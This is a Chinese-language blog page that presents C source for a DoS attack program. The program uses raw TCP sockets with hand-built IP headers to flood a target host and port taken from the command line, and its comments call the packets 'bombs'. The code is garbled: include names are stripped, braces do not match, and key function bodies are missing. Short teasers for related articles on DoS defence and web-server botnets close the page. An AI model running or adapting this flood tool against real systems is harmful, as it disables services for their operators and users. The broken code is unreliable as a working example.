dos 伺服器攻擊程式

2021-06-22 09:54:51 字數 1471 閱讀 2281

/*

* dos.c

* * created on: jun 10, 2014

* author: lexus

*/#include #include #include #include #include #include #include #include #include #include #include #define localport 11810

void send_tcp(int sockfd,struct sockaddr_in *addr);

unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)

destport = atoi(argv[2]);

printf("no is attacking host %s with port %d../n",argv[1],destport);

//printf("ok started!/n");

bzero(&addr,sizeof(struct sockaddr_in));

addr.sin_family=af_inet;

addr.sin_port=htons(destport);

if(inet_aton(argv[1],&addr.sin_addr)==0)

addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);

}/**** 使用ipproto_tcp建立乙個tcp的原始套接字 ****/

sockfd=socket(af_inet,sock_raw,ipproto_tcp);

if(sockfd<0)

/******** 設定ip資料報格式,告訴系統核心模組ip資料報由我們自己來填寫 ***/

setsockopt(sockfd,ipproto_ip,ip_hdrincl,&on,sizeof(on));

/**** 沒有辦法,只用超級護使用者才可以使用原始套接字 *********/

setuid(getpid());

/********* 傳送炸彈了!!!! ****/

send_tcp(sockfd,&addr);

}/******* 傳送炸彈的實現 *********/

void send_tcp(int sockfd,struct sockaddr_in *addr)

}/* 下面是首部校驗和的演算法,偷了別人的 */

unsigned short check_sum(unsigned short *addr,int len)

if(nleft==1)

sum=(sum>>16)+(sum&0xffff);

sum+=(sum>>16);

answer=~sum;

return(answer);

}

伺服器 防Dos攻擊

引用 dos的攻擊方式有很多種,最基本的dos攻擊就是利用合理的服務請求來占用過多的服務資源,從而使伺服器無法處理合法使用者的指令。長沙美德高防ddos攻擊手段是在傳統的dos攻擊基礎之上產生的一類攻擊方式。單一的dos攻擊一般是採用一對一方式的,當被攻擊目標cpu速度低 記憶體小或者網路頻寬小等等...

讓Apache伺服器遠離DoS攻擊

原貼 http blog.chinaunix.net u 21012 showart 145897.html 讓apache伺服器遠離dos攻擊 讓apache伺服器遠離dos攻擊 想像你擁有一家外賣快餐店,你同一條街上的競爭對手一直都想把你擠垮。你過去晚上的工作一向是井井有條的,可是有乙個晚上,你...

「殭屍網路」利用Web伺服器發起DoS攻擊

imperva安全公司近日發現了一種發起新型dos攻擊 拒絕伺服器攻擊 的殭屍網路。該殭屍網路不像平常那樣利用pc而是盜用web伺服器來發起dos攻擊。imperva安全公司星期三表示,其發現了一名為 honeypot 的web伺服器被用來發起攻擊,他們順藤摸瓜發現了乙個覆蓋約300部web伺服器的...